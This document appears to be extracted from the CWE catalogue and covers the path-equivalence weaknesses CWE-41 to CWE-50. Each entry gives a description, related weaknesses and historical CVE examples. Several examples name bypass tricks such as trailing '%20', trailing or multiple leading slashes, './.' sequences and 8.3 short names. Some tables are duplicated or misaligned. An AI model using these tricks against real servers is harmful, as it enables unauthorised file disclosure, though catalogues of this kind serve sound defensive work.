<b>CVE-2001-0778</b>	Source disclosure via trailing encoded space "%20" <a href="https://www.cve.org/CVERecord?id=CVE-2001-0778">https://www.cve.org/CVERecord?id=CVE-2001-0778</a>
<b>CVE-2001-1248</b>	Source disclosure via trailing encoded space "%20" <a href="https://www.cve.org/CVERecord?id=CVE-2001-1248">https://www.cve.org/CVERecord?id=CVE-2001-1248</a>
<b>CVE-2004-0280</b>	Source disclosure via trailing encoded space "%20" <a href="https://www.cve.org/CVERecord?id=CVE-2004-0280">https://www.cve.org/CVERecord?id=CVE-2004-0280</a>
<b>CVE-2005-0622</b>	Source disclosure via trailing encoded space "%20" <a href="https://www.cve.org/CVERecord?id=CVE-2005-0622">https://www.cve.org/CVERecord?id=CVE-2005-0622</a>
<b>CVE-2005-1656</b>	Source disclosure via trailing encoded space "%20" <a href="https://www.cve.org/CVERecord?id=CVE-2005-1656">https://www.cve.org/CVERecord?id=CVE-2005-1656</a>
<b>CVE-2002-1603</b>	Source disclosure via trailing encoded space "%20" <a href="https://www.cve.org/CVERecord?id=CVE-2002-1603">https://www.cve.org/CVERecord?id=CVE-2002-1603</a>
<b>CVE-2001-0054</b>	Multi-Factor Vulnerability (MVF). directory traversal and other issues in FTP server using Web encodings such as "%20"; certain manipulations have unusual side effects. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0054">https://www.cve.org/CVERecord?id=CVE-2001-0054</a>
<b>CVE-2002-1451</b>	Trailing space ("+" in query string) leads to source code disclosure. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1451">https://www.cve.org/CVERecord?id=CVE-2002-1451</a>
<b>CVE-2000-0293</b>	Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0293">https://www.cve.org/CVERecord?id=CVE-2000-0293</a>
<b>CVE-2001-1567</b>	"+" characters in query string converted to spaces before sensitive file/extension (internal space), leading to bypass of access restrictions to the file. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1567">https://www.cve.org/CVERecord?id=CVE-2001-1567</a>
<b>CVE-2002-0253</b>	Overlaps infoleak <a href="https://www.cve.org/CVERecord?id=CVE-2002-0253">https://www.cve.org/CVERecord?id=CVE-2002-0253</a>
<b>CVE-2001-0446</b>	Application server allows remote attackers to read source code for .jsp files by appending a / to the requested URL. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0446">https://www.cve.org/CVERecord?id=CVE-2001-0446</a>
<b>CVE-2004-0334</b>	Bypass Basic Authentication for files using trailing "/" <a href="https://www.cve.org/CVERecord?id=CVE-2004-0334">https://www.cve.org/CVERecord?id=CVE-2004-0334</a>



Reference	Description
<b>CVE-2001-0893</b>	Read sensitive files with trailing "/" <a href="https://www.cve.org/CVERecord?id=CVE-2001-0893">https://www.cve.org/CVERecord?id=CVE-2001-0893</a>
<b>CVE-2001-0892</b>	Web server allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0892">https://www.cve.org/CVERecord?id=CVE-2001-0892</a>
<b>CVE-2004-1814</b>	Directory traversal vulnerability in server allows remote attackers to read protected files via .. (dot dot) sequences in an HTTP request. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1814">https://www.cve.org/CVERecord?id=CVE-2004-1814</a>
<b>BID:3518</b>	Source code disclosure <a href="http://www.securityfocus.com/bid/3518">http://www.securityfocus.com/bid/3518</a>
<b>CVE-2002-1483</b>	Read files with full pathname using multiple internal slash. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1483">https://www.cve.org/CVERecord?id=CVE-2002-1483</a>
<b>CVE-1999-1456</b>	Server allows remote attackers to read arbitrary files via a GET request with more than one leading / (slash) character in the filename. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1456">https://www.cve.org/CVERecord?id=CVE-1999-1456</a>
<b>CVE-2004-0578</b>	Server allows remote attackers to read arbitrary files via leading slash (/) characters in a URL request. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0578">https://www.cve.org/CVERecord?id=CVE-2004-0578</a>
<b>CVE-2002-0275</b>	Server allows remote attackers to bypass authentication and read restricted files via an extra / (slash) in the requested URL. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0275">https://www.cve.org/CVERecord?id=CVE-2002-0275</a>
<b>CVE-2004-1032</b>	Product allows local users to delete arbitrary files or create arbitrary empty files via a target filename with a large number of leading slash (/) characters. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1032">https://www.cve.org/CVERecord?id=CVE-2004-1032</a>
<b>CVE-2002-1238</b>	Server allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as <a href="http://www.example.com///file/">http://www.example.com///file/</a> . <a href="https://www.cve.org/CVERecord?id=CVE-2002-1238">https://www.cve.org/CVERecord?id=CVE-2002-1238</a>
<b>CVE-2004-1878</b>	Product allows remote attackers to bypass authentication, obtain sensitive information, or gain access via a direct request to admin/user.pl preceded by // (double leading slash). <a href="https://www.cve.org/CVERecord?id=CVE-2004-1878">https://www.cve.org/CVERecord?id=CVE-2004-1878</a>
<b>CVE-2005-1365</b>	Server allows remote attackers to execute arbitrary commands via a URL with multiple leading "/" (slash) characters and ".." sequences. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1365">https://www.cve.org/CVERecord?id=CVE-2005-1365</a>
<b>CVE-2000-1050</b>	Access directory using multiple leading slash. <a href="https://www.cve.org/CVERecord?id=CVE-2000-1050">https://www.cve.org/CVERecord?id=CVE-2000-1050</a>
<b>CVE-2001-1072</b>	Bypass access restrictions via multiple leading slash, which causes a regular expression to fail. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1072">https://www.cve.org/CVERecord?id=CVE-2001-1072</a>
<b>CVE-2004-0235</b>	Archive extracts to arbitrary files using multiple leading slash in filenames in the archive. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0235">https://www.cve.org/CVERecord?id=CVE-2004-0235</a>
<b>CVE-2002-1078</b>	Directory listings in web server using multiple trailing slash <a href="https://www.cve.org/CVERecord?id=CVE-2002-1078">https://www.cve.org/CVERecord?id=CVE-2002-1078</a>
<b>CVE-2004-0847</b>	ASP.NET allows remote attackers to bypass authentication for .aspx files in restricted directories via a request containing a (1) "\" (backslash) or (2) "%5C" (encoded backslash), aka "Path Validation Vulnerability." <a href="https://www.cve.org/CVERecord?id=CVE-2004-0847">https://www.cve.org/CVERecord?id=CVE-2004-0847</a>
<b>CVE-2000-0004</b>	Server allows remote attackers to read source code for executable files by inserting a . (dot) into the URL. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0004">https://www.cve.org/CVERecord?id=CVE-2000-0004</a>



Reference	Description
<b>CVE-2002-0304</b>	Server allows remote attackers to read password-protected files via a <code>./.</code> in the HTTP request. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0304">https://www.cve.org/CVERecord?id=CVE-2002-0304</a>
<b>BID:6042</b>	Input Validation error <a href="http://www.securityfocus.com/bid/6042">http://www.securityfocus.com/bid/6042</a>
<b>CVE-1999-1083</b>	Possibly (could be a cleansing error) <a href="https://www.cve.org/CVERecord?id=CVE-1999-1083">https://www.cve.org/CVERecord?id=CVE-1999-1083</a>
<b>CVE-2004-0815</b>	<code>"./././etc"</code> cleansed to <code>"./etc"</code> then <code>"/etc"</code> <a href="https://www.cve.org/CVERecord?id=CVE-2004-0815">https://www.cve.org/CVERecord?id=CVE-2004-0815</a>
<b>CVE-2002-0112</b>	Server allows remote attackers to view password protected files via <code>./.</code> in the URL. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0112">https://www.cve.org/CVERecord?id=CVE-2002-0112</a>
<b>CVE-2004-0696</b>	List directories using desired path and <code>"**"</code> <a href="https://www.cve.org/CVERecord?id=CVE-2004-0696">https://www.cve.org/CVERecord?id=CVE-2004-0696</a>
<b>CVE-2002-0433</b>	List files in web server using <code>"*.ext"</code> <a href="https://www.cve.org/CVERecord?id=CVE-2002-0433">https://www.cve.org/CVERecord?id=CVE-2002-0433</a>
<b>CVE-2001-1152</b>	Proxy allows remote attackers to bypass denylist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a <code>//</code> (double slash), (2) a <code>/SUBDIR/.</code> where the desired file is in the parentdir, (3) a <code>./.</code> , or (4) URL-encoded characters. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1152">https://www.cve.org/CVERecord?id=CVE-2001-1152</a>
<b>CVE-2000-0191</b>	application check access for restricted URL before canonicalization <a href="https://www.cve.org/CVERecord?id=CVE-2000-0191">https://www.cve.org/CVERecord?id=CVE-2000-0191</a>
<b>CVE-2005-1366</b>	CGI source disclosure using <code>"dirname/./cgi-bin"</code> <a href="https://www.cve.org/CVERecord?id=CVE-2005-1366">https://www.cve.org/CVERecord?id=CVE-2005-1366</a>
<b>CVE-1999-0012</b>	Multiple web servers allow restriction bypass using 8.3 names instead of long names <a href="https://www.cve.org/CVERecord?id=CVE-1999-0012">https://www.cve.org/CVERecord?id=CVE-1999-0012</a>
<b>CVE-2001-0795</b>	Source code disclosure using 8.3 file name. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0795">https://www.cve.org/CVERecord?id=CVE-2001-0795</a>
<b>CVE-2005-0471</b>	Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0471">https://www.cve.org/CVERecord?id=CVE-2005-0471</a>

### Affected Resources

- File or Directory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2128
MemberOf	<b>C</b>	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf	<b>C</b>	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	981	SFP Secondary Cluster: Path Traversal	888	2202

### Notes

#### Relationship

Some of these manipulations could be effective in path traversal issues, too.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Path Equivalence
CERT C Secure Coding	FIO02-C		Canonicalize path names originating from untrusted sources

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters

## CWE-42: Path Equivalence: 'filename.' (Trailing Dot)

**Weakness ID :** 42

**Structure :** Simple

**Abstraction :** Variant

### Description

The product accepts path input in the form of trailing dot ('filedir.') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	V	162	Improper Neutralization of Trailing Special Elements	400
ChildOf	B	41	Improper Resolution of Path Equivalence	83
ParentOf	V	43	Path Equivalence: 'filename....' (Multiple Trailing Dot)	90

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Observed Examples

Reference	Description
<b>CVE-2000-1114</b>	Source code disclosure using trailing dot <a href="https://www.cve.org/CVERecord?id=CVE-2000-1114">https://www.cve.org/CVERecord?id=CVE-2000-1114</a>
<b>CVE-2002-1986</b>	Source code disclosure using trailing dot <a href="https://www.cve.org/CVERecord?id=CVE-2002-1986">https://www.cve.org/CVERecord?id=CVE-2002-1986</a>
<b>CVE-2004-2213</b>	Source code disclosure using trailing dot <a href="https://www.cve.org/CVERecord?id=CVE-2004-2213">https://www.cve.org/CVERecord?id=CVE-2004-2213</a>
<b>CVE-2005-3293</b>	Source code disclosure using trailing dot <a href="https://www.cve.org/CVERecord?id=CVE-2005-3293">https://www.cve.org/CVERecord?id=CVE-2005-3293</a>
<b>CVE-2004-0061</b>	Bypass directory access restrictions using trailing dot in URL <a href="https://www.cve.org/CVERecord?id=CVE-2004-0061">https://www.cve.org/CVERecord?id=CVE-2004-0061</a>

Reference	Description
<b>CVE-2000-1133</b>	Bypass directory access restrictions using trailing dot in URL <a href="https://www.cve.org/CVERecord?id=CVE-2000-1133">https://www.cve.org/CVERecord?id=CVE-2000-1133</a>
<b>CVE-2001-1386</b>	Bypass check for ".lnk" extension using ".lnk." <a href="https://www.cve.org/CVERecord?id=CVE-2001-1386">https://www.cve.org/CVERecord?id=CVE-2001-1386</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2202

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Trailing Dot - 'filedir.'
Software Fault Patterns	SFP16		Path Traversal

## CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot)

**Weakness ID** : 43

**Structure** : Simple

**Abstraction** : Variant

### Description

The product accepts path input in the form of multiple trailing dot ('filedir....') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	V	163	Improper Neutralization of Multiple Trailing Special Elements	401
ChildOf	V	42	Path Equivalence: 'filename.' (Trailing Dot)	89

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Observed Examples

Reference	Description
<b>BUGTRAQ:20040205</b>	Cache + Resin Reveals JSP Source Code ... <a href="http://marc.info/?l=bugtraq&amp;m=107605633904122&amp;w=2">http://marc.info/?l=bugtraq&amp;m=107605633904122&amp;w=2</a>
<b>CVE-2004-0281</b>	Multiple trailing dot allows directory listing <a href="https://www.cve.org/CVERecord?id=CVE-2004-0281">https://www.cve.org/CVERecord?id=CVE-2004-0281</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Multiple Trailing Dot - 'filedir....'
Software Fault Patterns	SFP16		Path Traversal

## CWE-44: Path Equivalence: 'file.name' (Internal Dot)

**Weakness ID** : 44

**Structure** : Simple

**Abstraction** : Variant

### Description

The product accepts path input in the form of internal dot ('file.ordir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		41	Improper Resolution of Path Equivalence	83
ParentOf		45	Path Equivalence: 'file...name' (Multiple Internal Dot)	92

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202

## Notes

### Relationship

An improper attempt to remove the internal dots from the string could lead to CWE-181 (Incorrect Behavior Order: Validate Before Filter).

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Internal Dot - 'file.ordir'
Software Fault Patterns	SFP16		Path Traversal

## CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot)

**Weakness ID** : 45

**Structure** : Simple

**Abstraction** : Variant

### Description

The product accepts path input in the form of multiple internal dot ('file...dir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		165	Improper Neutralization of Multiple Internal Special Elements	404
ChildOf		44	Path Equivalence: 'file.name' (Internal Dot)	91

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202

### Notes

#### Relationship

An improper attempt to remove the internal dots from the string could lead to CWE-181 (Incorrect Behavior Order: Validate Before Filter).

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Multiple Internal Dot - 'file...dir'
Software Fault Patterns	SFP16		Path Traversal

## CWE-46: Path Equivalence: 'filename ' (Trailing Space)

**Weakness ID** : 46  
**Structure** : Simple  
**Abstraction** : Variant

### Description

The product accepts path input in the form of trailing space ('filedir ') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	V	162	Improper Neutralization of Trailing Special Elements	400
ChildOf	B	41	Improper Resolution of Path Equivalence	83
CanPrecede	B	289	Authentication Bypass by Alternate Name	666

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Observed Examples

Reference	Description
<b>CVE-2001-0693</b>	Source disclosure via trailing encoded space "%20" <a href="https://www.cve.org/CVERecord?id=CVE-2001-0693">https://www.cve.org/CVERecord?id=CVE-2001-0693</a>
<b>CVE-2001-0778</b>	Source disclosure via trailing encoded space "%20" <a href="https://www.cve.org/CVERecord?id=CVE-2001-0778">https://www.cve.org/CVERecord?id=CVE-2001-0778</a>
<b>CVE-2001-1248</b>	Source disclosure via trailing encoded space "%20" <a href="https://www.cve.org/CVERecord?id=CVE-2001-1248">https://www.cve.org/CVERecord?id=CVE-2001-1248</a>
<b>CVE-2004-0280</b>	Source disclosure via trailing encoded space "%20" <a href="https://www.cve.org/CVERecord?id=CVE-2004-0280">https://www.cve.org/CVERecord?id=CVE-2004-0280</a>
<b>CVE-2004-2213</b>	Source disclosure via trailing encoded space "%20" <a href="https://www.cve.org/CVERecord?id=CVE-2004-2213">https://www.cve.org/CVERecord?id=CVE-2004-2213</a>
<b>CVE-2005-0622</b>	Source disclosure via trailing encoded space "%20" <a href="https://www.cve.org/CVERecord?id=CVE-2005-0622">https://www.cve.org/CVERecord?id=CVE-2005-0622</a>
<b>CVE-2005-1656</b>	Source disclosure via trailing encoded space "%20" <a href="https://www.cve.org/CVERecord?id=CVE-2005-1656">https://www.cve.org/CVERecord?id=CVE-2005-1656</a>
<b>CVE-2002-1603</b>	Source disclosure via trailing encoded space "%20" <a href="https://www.cve.org/CVERecord?id=CVE-2002-1603">https://www.cve.org/CVERecord?id=CVE-2002-1603</a>
<b>CVE-2001-0054</b>	Multi-Factor Vulnerability (MVF). directory traversal and other issues in FTP server using Web encodings such as "%20"; certain manipulations have unusual side effects. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0054">https://www.cve.org/CVERecord?id=CVE-2001-0054</a>
<b>CVE-2002-1451</b>	Trailing space ("+" in query string) leads to source code disclosure. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1451">https://www.cve.org/CVERecord?id=CVE-2002-1451</a>



## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2202

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Trailing Space - 'filedir '
Software Fault Patterns	SFP16		Path Traversal

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
649	Adding a Space to a File Extension

## CWE-47: Path Equivalence: ' filename' (Leading Space)

**Weakness ID** : 47

**Structure** : Simple

**Abstraction** : Variant

## Description

The product accepts path input in the form of leading space ('filedir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	E	41	Improper Resolution of Path Equivalence	83

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2202

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Leading Space - 'filedir'
Software Fault Patterns	SFP16		Path Traversal

## CWE-48: Path Equivalence: 'file name' (Internal Whitespace)

**Weakness ID** : 48

**Structure** : Simple

**Abstraction** : Variant


### Description

The product accepts path input in the form of internal space ('file(SPACE)name') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		41	Improper Resolution of Path Equivalence	83

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Observed Examples

Reference	Description
<b>CVE-2000-0293</b>	Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0293">https://www.cve.org/CVERecord?id=CVE-2000-0293</a>
<b>CVE-2001-1567</b>	"+" characters in query string converted to spaces before sensitive file/extension (internal space), leading to bypass of access restrictions to the file. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1567">https://www.cve.org/CVERecord?id=CVE-2001-1567</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202

### Notes

#### Relationship

This weakness is likely to overlap quoting problems, e.g. the "Program Files" unquoted search path (CWE-428). It also could be an equivalence issue if filtering removes all extraneous spaces.

## Relationship

Whitespace can be a factor in other weaknesses not directly related to equivalence. It can also be used to spoof icons or hide files with dangerous names (see icon manipulation and visual truncation in CWE-451).

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			file(SPACE)name (internal space)
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
Software Fault Patterns	SFP16		Path Traversal

## CWE-49: Path Equivalence: 'filename/' (Trailing Slash)

**Weakness ID** : 49

**Structure** : Simple

**Abstraction** : Variant

### Description

The product accepts path input in the form of trailing slash ('filedir/') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	V	162	Improper Neutralization of Trailing Special Elements	400
ChildOf	B	41	Improper Resolution of Path Equivalence	83

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Observed Examples

Reference	Description
<b>CVE-2002-0253</b>	Overlaps infoleak <a href="https://www.cve.org/CVERecord?id=CVE-2002-0253">https://www.cve.org/CVERecord?id=CVE-2002-0253</a>
<b>CVE-2001-0446</b>	Application server allows remote attackers to read source code for .jsp files by appending a / to the requested URL. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0446">https://www.cve.org/CVERecord?id=CVE-2001-0446</a>
<b>CVE-2004-0334</b>	Bypass Basic Authentication for files using trailing "/" <a href="https://www.cve.org/CVERecord?id=CVE-2004-0334">https://www.cve.org/CVERecord?id=CVE-2004-0334</a>
<b>CVE-2001-0893</b>	Read sensitive files with trailing "/" <a href="https://www.cve.org/CVERecord?id=CVE-2001-0893">https://www.cve.org/CVERecord?id=CVE-2001-0893</a>
<b>CVE-2001-0892</b>	Web server allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /.

Reference	Description
<b>CVE-2004-1814</b>	<a href="https://www.cve.org/CVERecord?id=CVE-2001-0892">https://www.cve.org/CVERecord?id=CVE-2001-0892</a> Directory traversal vulnerability in server allows remote attackers to read protected files via .. (dot dot) sequences in an HTTP request. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1814">https://www.cve.org/CVERecord?id=CVE-2004-1814</a>
<b>BID:3518</b>	Source code disclosure <a href="http://www.securityfocus.com/bid/3518">http://www.securityfocus.com/bid/3518</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			filedir/ (trailing slash, trailing /)
Software Fault Patterns	SFP16		Path Traversal

## CWE-50: Path Equivalence: '//multiple/leading/slash'

**Weakness ID** : 50

**Structure** : Simple

**Abstraction** : Variant

### Description

The product accepts path input in the form of multiple leading slash ('//multiple/leading/slash') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		161	Improper Neutralization of Multiple Leading Special Elements	398
ChildOf		41	Improper Resolution of Path Equivalence	83

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Observed Examples

Reference	Description
<b>CVE-2002-1483</b>	Read files with full pathname using multiple internal slash.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2002-1483">https://www.cve.org/CVERecord?id=CVE-2002-1483</a>
<b>CVE-1999-1456</b>	Server allows remote attackers to read arbitrary files via a GET request with more than one leading / (slash) character in the filename. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1456">https://www.cve.org/CVERecord?id=CVE-1999-1456</a>
<b>CVE-2004-0578</b>	Server allows remote attackers to read arbitrary files via leading slash (//) characters in a URL request. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0578">https://www.cve.org/CVERecord?id=CVE-2004-0578</a>
<b>CVE-2002-0275</b>	Server allows remote attackers to bypass authentication and read restricted files via an extra / (slash) in the requested URL. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0275">https://www.cve.org/CVERecord?id=CVE-2002-0275</a>
<b>CVE-2004-1032</b>	Product allows local users to delete arbitrary files or create arbitrary empty files via a target filename with a large number of leading slash (/) characters. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1032">https://www.cve.org/CVERecord?id=CVE-2004-1032</a>
